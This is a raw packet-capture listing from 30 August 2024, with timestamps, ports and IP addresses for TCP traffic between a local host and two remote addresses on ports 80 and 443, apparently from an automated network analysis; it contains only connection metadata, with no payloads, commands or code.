Aug 30, 2024 06:17:04.704530954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704533100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704560041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704580069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704585075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704596043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704629898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704772949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704782963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704791069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704809904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704833031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704955101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704965115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704973936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704983950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704991102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704993010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705003023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705012083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705015898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705019951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705024958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705032110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705035925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705051899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705074072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705092907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705271006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705280066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705288887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705297947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705310106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705316067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705337048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705346107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705404043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705415964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705452919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705599070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705610037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705617905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705626965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705636024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705637932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705646038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705663919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705687046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705758095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705768108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705775976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705785990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705791950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705799103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705807924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705816984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705817938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705831051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705843925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705862045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705884933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705929995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705938101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705945969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705956936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705965042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.705976009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.705984116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706007004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706080914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706094027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706101894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706113100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706130981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706156015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706269026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706281900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706290960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706300020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706309080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706310034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706319094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706327915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706335068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706360102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706367970 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706423998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706434011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706443071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706451893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706461906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706463099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706473112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706475973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706501007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706510067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706597090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706605911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706614971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706624985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706631899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706640959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706662893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706789970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706798077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706806898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706815958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706826925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706835985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706845999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706846952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706860065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706865072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706870079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706877947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706882954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706887007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706895113 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706897020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706918001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706939936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706943035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706949949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706958055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706969023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706970930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.706976891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706986904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.706995964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707005024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707005978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707015991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707026005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707034111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707035065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707043886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707046032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707065105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707084894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707252979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707262039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707271099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707281113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707297087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707298040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707308054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707319021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707329035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707336903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707339048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707341909 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707349062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707357883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707367897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707370043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707376957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707389116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707391977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707403898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707425117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707582951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707593918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.707617998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.707628965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.711878061 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.711898088 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.711940050 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.711955070 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.711965084 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712193966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712230921 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712251902 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712256908 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712270975 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712289095 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712529898 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712548971 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712583065 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712589025 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712599039 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712616920 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712626934 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712630033 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712652922 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712682009 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712702036 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712735891 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712754965 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712759972 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.712781906 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.712800026 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.713058949 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713076115 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713124037 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.713131905 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713170052 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.713584900 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713637114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.713644028 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713679075 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.713920116 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713936090 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.713970900 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.713977098 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714001894 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.714020014 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.714123964 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714179993 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.714431047 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714447975 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714497089 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.714504004 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714540005 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.714925051 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714941978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.714981079 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.714988947 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.715010881 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.715046883 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.718132019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718142033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718153954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718202114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.718202114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.718331099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718343019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718353033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718364000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718377113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.718405008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.718405008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.718424082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751427889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751439095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751447916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751482010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751482010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751528025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751537085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751548052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751557112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751566887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751580000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751580000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751614094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751739979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751749992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751811981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751909018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751924038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751931906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751945019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751954079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751962900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751966000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751966000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.751972914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.751982927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752002001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752002001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752033949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752051115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752223015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752233028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752240896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752250910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752260923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752270937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752275944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752275944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752279997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752290010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752300024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752310038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752320051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752320051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752342939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752342939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752346039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752362967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752388000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752388000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752546072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752556086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752563000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752572060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752584934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752605915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752614021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752727032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752736092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752746105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752756119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752762079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752774954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752795935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752916098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752926111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752933979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752943993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752953053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752959013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752964020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752973080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752984047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.752985954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752985954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.752993107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753001928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753005028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753037930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753077984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753242970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753252983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753262043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753272057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753287077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753334999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753381968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753392935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753401041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753411055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753418922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753421068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753431082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753444910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753444910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753468990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753557920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753567934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753583908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753596067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753597975 CEST	49733	80	192.168.2.4	147.45.44.104
